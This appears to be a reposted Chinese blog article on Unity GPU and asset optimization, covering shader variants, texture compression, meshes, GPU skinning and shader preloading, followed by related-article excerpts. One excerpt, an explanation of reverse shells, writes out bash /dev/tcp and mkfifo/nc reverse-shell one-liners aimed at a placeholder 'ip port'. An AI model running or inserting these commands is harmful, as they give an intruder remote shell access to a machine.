unity 性能优化之GPU和资源优化

news2024/10/7 11:20:41

Shader相关优化

众所周知,我们在unity里编写Shader使用的HLSL/CG都是高级语言,这是为了可以书写一套Shader兼容多个平台,在unity打包的时候,它会编译成对应平台可以运行的指令,而变体则是,根据宏生成的,而打包运行时,GPU会根据你设置的宏切换这些打包出来的代码,而不是我们书写那种只生成的一个Shader,这也是为了提高运行速度。
如果你要查看实际运行的代码,可以使用RenderDoc等工具截帧查看实际运行的代码。
在这里插入图片描述
可以在Shader上面查看当前生成的变体数量。
优化Shader最主要的是优化Shader的算法,整理代码结构,减少冗余。使用最精简,运行效率最高的代码来实现我们的功能。

函数性能优化

我们可以在微软的网站查看,根据指令槽进行排序,查看性能消耗顺序。里面展示了在片元里面的占用:

  1. 纹理采样尽量减少采样次数,消耗排序:texCubelod > texCube > tex2Dlod > tex2D
  2. 减少复杂的数学函数调用,它们无法直接编译简单指令:pow,exp,sign,cos,sin,tan
  3. 能复用的,尽量减少重复计算:normalize,dot
  4. saturate,abs,max,min 推荐使用,效率高

注意事项

  1. 避免使用除法,使用rcp代替,a/b 可以改成 a*rcp(b)这种提高性能
  2. 避免使用if,loop这种逻辑和循环
  3. 计算精度问题:世界空间位置以及精度要求高的纹理坐标用float,其它都用half就行(纹理坐标,向量,颜色(HDR)等)
  4. 减少寄存器的数量
    在这里插入图片描述
    一般是在Varyings减少,Attributes是从Mesh上面获取,如果Shader上没有使用到也可以去掉。
  5. 能在顶点计算的,尽量在顶点着色器计算,一些线性的数据,比如Fog SH
  6. 慎重使用AlphaTest,会导致Early-z的失效,最好使用脚本,设置宏,开启时自动修改队列到2450
  7. Color Mask问题,一些平台上移动端可能会占用资源。

渲染优化

函数优化的再多也节省不了多少,都不如少渲染几次节省的多,所以,我们要从减少渲染量上面入手。

  1. 减少Overdraw 尽量避免AlphaTest和AlphaBlend物体,尤其是AlphaTest要放到2450,不要和不透明物体混合。减少整个屏幕的特效。
  2. 减少后处理,每一次全屏后处理增加计算量太大了,计算时最好能降低分辨率计算,比如bloom计算时都采用了一种降采样的做法。
  3. 抗锯齿,移动端尽量不要开,性能推荐:MSAA < TAA < FXAA&SMAA

inline内联函数

我们在Unity的内置CGInclude文件中可以发现不少函数都有inline关键字,有inline修饰的函数为内联函数,可以解决一些频繁调用的小函数大量消耗栈空间(栈内存)的问题,但inline 的使用是有所限制的,inline 只适合函数体内代码简单的函数且会被频繁调用时使用,不能包含复杂的结构控制语句例如 while、switch,并且内联函数本身不能是直接递归函数(即,自己内部还调用自己的函数)。

美术资源的优化

美术资源主要是包含:纹理,网格以及Shader的变体,其中最主要的是纹理。

纹理

纹理大小会影响资源加载时间,gpu渲染时间,内存的使用,包体大小以及画面质量。
有些同学一直认为要极致压缩在unity里面的大小,这种方式是不对的,那只是导入到unity中的图片存储格式,不代表在打包后的占用,unity在打包时,会将格式转换成其它格式进行存储。
在这里插入图片描述
上图展示了图片打包后的占用,前面则表面了当前的图片使用了何种压缩。
在这里插入图片描述
所以,不要在乎图片导入时的大小和尺寸,要在图片上进行设置,比如设置其最大1024。

压缩格式

首先,科普一下bpp,比如4 bpp,意思为每个像素占用4bit 应为 4bit per pixel。

  1. 移动端常用格式 有损压缩
    PVRTC: RGBA 4 bpp 尺寸要求正方向
    ETC2:RGBA 8 bpp 尺寸要求为4的倍数
    ASTC 4x4 :RGBA 8 bpp 尺寸要求4的倍数(还有6x6 8x8 要求符合相应的倍数),它支持HDR
    默认则为RGBA 32bit 占用比其它大至少四倍
  2. PC常用格式
    DXT:RGB 4 bpp 尺寸要求为2的幂次方 不透明纹理常用
    BC7:RGBA 8bpp 尺寸要求为2的幂次方 支持透明通道
    BC6H:RGBA(HDR)8 bpp 支持HDR

unity官方纹理压缩文档
3. 开启minmap可以有效降低带宽,但是会增加内存 33%
4. 各向异性过滤,建议不开启或者只单独处理
在这里插入图片描述
它是默认开启的,一般设置Per Texture,然后需要在图片上开启。
在这里插入图片描述
开启以后会增加采样,会降低纹理mipmap过渡时的锯齿。
5. 如果ui图片的尺寸不符合标准,会采用无损压缩,会造成浪费。

Mesh

  1. 注意写入的开启,开启状态内存占用会翻倍
    在这里插入图片描述
  2. 骨骼模型要着重注意面数,比较影响性能,因为它的动画需要每帧计算顶点位置

资源相关检查工具

  1. 纹理和Mesh的检查工具,可以一键查看相关占用
    在这里插入图片描述
    可以一键检查出对应的大文件。
    在这里插入图片描述
    Mesh统计了使用次数的总占用,可以清晰的查看当前Mesh在场景的总占用。红色为未合并网格。

  2. 贴图相关检测
    在这里插入图片描述
    可以检测贴图的尺寸是否规范
    在这里插入图片描述
    可以检测贴图尺寸是否过大
    在这里插入图片描述
    会将非4的倍数的图片导出到相应文件夹,然后美术同学可以修改完成图片后,对资源进行替换。

  3. shader相关检查
    在这里插入图片描述
    可以查看所有shader变体数量
    在这里插入图片描述
    可以打印出项目中shader的所有变体数量。
    变体减少的办法就是减少宏的使用,如果没办法,就少用multi_compile,使用shader_feature
    变体的相关使用 点击此处看官网

  4. 资源引用查找
    在这里插入图片描述
    可以查看资源之间的互相引用,Uses可查看使用的资源,Used By可以查看被引用,Unused Assets查看没有被使用的资源
    可以选中物体进行查看相关引用,或者向上查找

  5. Prebe资源分析
    在这里插入图片描述
    查找一个Prefab的资源引用分析,以及占用。

蒙皮动画

蒙皮动画也在游戏运行时占用比较大的性能,一般都会有一些方式解决,这里我推荐之前项目中使用的,使用GPU Skining + LOD,近处的模型使用默认蒙皮动画,保证效果,远处的角色模型,则使用低模+顶点动画烘焙动画贴图,根据颜色像素转换反向和距离,重新生成顶点位置绘制,这种方式还支持合批甚至GPU Instancing提高性能。

资源的加载

资源加载有时也会出现卡顿的情况 查看官方文档,这个一般需要程序同学协助完成。

Shader的加载

默认情况下,Shader会在首次渲染几何体是进行加载,这也是我们减少变体的原因之一。如果使用了相同的变体和Shader,渲染新的几何体时,将不会在重新加载Shader。
有时会运行卡顿,我们可以使用预加载的形式进行Shader加载。
在这里插入图片描述

UI的优化

优化unity UI,这是先备份一下,需要时再看。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482962.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【英语】大学英语CET考试,翻译部分(修饰后置,定语从句,插入语,多动句,无主句)

文章目录 3大知识点与出题形式1、修饰后置&#xff08;使用介词&#xff09;2、修饰后置&#xff08;定语从句&#xff08;被逼无奈&#xff09;/which&#xff08;非限制性&#xff0c;加高级&#xff09;&#xff09;3、修饰后置&#xff08;插入语或同位语&#xff08;只有1…

【力扣-20】有效的括号

&#x1f58a;作者 : D. Star. &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : 夏虫不可以语冰 : 出自「庄子秋水」。原句是“井蛙不可以语于海者&#xff0c;拘于虚也&#xff1b;夏虫不可以语于冰者&#xff0c;笃于时也&#xff1b;曲士不可以语于道者&#xff0c;束…

自动驾驶——离散LQR的黎卡提方程Riccati公式推导与LQR工程化

1.LQR Question Background 之前写过连续系统的黎卡提方程Riccati推导&#xff0c;但是考虑到实际工程落地使用的是离散系统&#xff0c;于是又进行了离散黎卡提方程Riccati的公式推导。 2.Proof of Riccati Equation Formula for Discrete Systems 工程化落地&#xff0c;就…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

【五一创作】【记录】ChatGPT|图片预览魔法咒语魔改,使用 ChatGPT 返回大量可以跳转的链接

很早的时候&#xff0c;我已经留意到 ChatGPT 会以返回图片的 markdown 格式来显示图片&#xff0c;很可能拥有一定的图片上传功能&#xff0c;但是它往往会显示得有些问题。一些代码图片之类的或者风景图什么的都不是很会。 但其实 ChatGPT 是可以直接返回图片类型的回复的&a…

ES6 基础复习

变量声明 变量可能具有的特性 块级作用域&#xff0c;变量提升&#xff08;变量声明之前使用该变量&#xff09;&#xff0c;全局属性&#xff0c;重复声明&#xff0c;暂时性死区&#xff08;变量声明之前的区域无法使用该变量&#xff09;&#xff0c;初始值设置&#xff0…

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…

企业级信息系统开发讲课笔记3.4 基于Java配置类SSM框架西蒙购物网

文章目录 零、本节学习目标一、网站功能需求二、网站设计思路&#xff08;一&#xff09;设计模式&#xff08;二&#xff09;网站前台&#xff08;三&#xff09;网站后台1、用户管理2、类别管理3、商品管理4、订单管理 &#xff08;四&#xff09;购物流程图 三、网站运行效果…

PowerJob服务端部署

本文来编写一个简单的实例来说下SpringBoot整合PowerJob 文章目录 相关文档快速开始初始化项目启动服务端启动服务注册应用 相关文档 PowerJob是一个定时任务中间件&#xff08;框架&#xff09;&#xff0c;优点很多&#xff0c;PowerJob官网的对比图中可以看到PowerJob比Quar…

如何减少电路中传导噪声

从传导噪声的起源&#xff0c;可以看出可以通过减少器件噪声或周围环境的干扰来降低传导噪声对电路的影响。但在某些场合我们需要特定的器件&#xff0c;同时要求在特定场景下工作。举个例子&#xff1a;在电气隔离系统中&#xff0c;我们需要对电源进行隔离&#xff0c;而 DC/…

堆的基本操作,堆排序(C语言实现)初始化,插入,删除,销毁,排序

文章目录 前言一、堆的基本变量二、堆的基本操作2.1堆的初始化&#xff08;HeapInit&#xff09;2.2堆的销毁&#xff08;HeapDestroy&#xff09;2.3向上调整&#xff08;AdjustUp&#xff09;2.4向下调整&#xff08;AdjustDown&#xff09;2.45堆是否为空&#xff08;HeapEm…

JAVA springboot创业实践学分管理系统idea开发mysql数据库web结构计算机java编程MVC

一、源码特点 idea springboot创业实践学分管理系统是一套完善的web设计系统mysql数据库MVC模式开发&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式 开发。 JAVA springboot创业实践学分管理系统ide…

英语语法第一章之英语语法综述

英语的任何句型基本都可以翻译成 什么怎么样 &#xff0c;在这里什么就是我们常说的主语&#xff0c;而怎么样就是我们常说的谓语; 可能有些小伙伴会反问&#xff0c;不是主谓宾吗&#xff1f;别急等我慢慢讲解 在这里谓语也有很有多的不同的动作 可以独立完成的动作 句型&am…

交叉编译eigen 到hi3559

3559操作自记录 0502 ubuntu 操作日志 sudo apt-get install cmake-qt-gui whereis aarch64-himix100-linux-gcc aarch64-himix100-linux-gcc: /opt/hisi-linux/x86-arm/aarch64-himix100-linux/bin/aarch64-himix100-linux-gcc 然后把同级的gnu放进来了&#xff0c;然后confi…

Packet Tracer - 交换机端口安全故障排除

Packet Tracer - 交换机端口安全故障排除 场景 通常使用 PC1 的员工将家里的笔记本电脑带来&#xff0c;然后断开 PC1 的连接并将笔记本电脑连接到电信插座。 在提醒此安全策略不支持在网络上使用个人设备后&#xff0c;您必须重新连接 PC1 并重新启用端口。 拓扑图 要求 …

菜鸡shader:L1基于兰伯特原理的玉石材质

这里就简单说下原理吧&#xff0c;使用unity很久之前的一个插件shaderforge&#xff0c;最近几年好像在unity资源商店已经不再维护了&#xff0c;但是有shader forge的官网&#xff1a;在这&#xff0c;碰到节点不会的时候可以查一下官方文档&#xff0c;还是很方便的&#xff…

方舟开服教程——开服服务器配置选择及租用建议指导

目前方舟开服有以下服务器模式可以选择&#xff1a; 1、自己家里的设备或物理机放家里开 2、自己购服务器设备托管到机房 3、租独立物理机 4、租虚拟机 5、租云服务器 6、淘宝面板服 配置如何选择 一般每一个地图4G可以运行&#xff08;使用内存清理压缩内存但会性能损失容易卡…

【工具使用】STM32CubeMX-Uart配置 及 数据收发功能实现

一、概述 无论是新手还是大佬&#xff0c;基于STM32单片机的开发&#xff0c;使用STM32CubeMX都是可以极大提升开发效率的&#xff0c;并且其界面化的开发&#xff0c;也大大降低了新手对STM32单片机的开发门槛。     本文主要讲述STM32芯片的Uart的配置及其相关知识。Uart…

Ubuntu使用gzip与bzip2与rar和tar压缩解压

目录 1、gzip压缩解压 2、bzip2压缩解压 3、rar压缩解压 tar归档压缩与解压包 1、gzip压缩解压 因为都是系统自带的我们不需要安装&#xff1b; ls 看一下目录当前的文件&#xff0c;创建一个 touch 123.txt 文件&#xff1b; gzip 进行压缩&#xff0c;&#xff08;“ …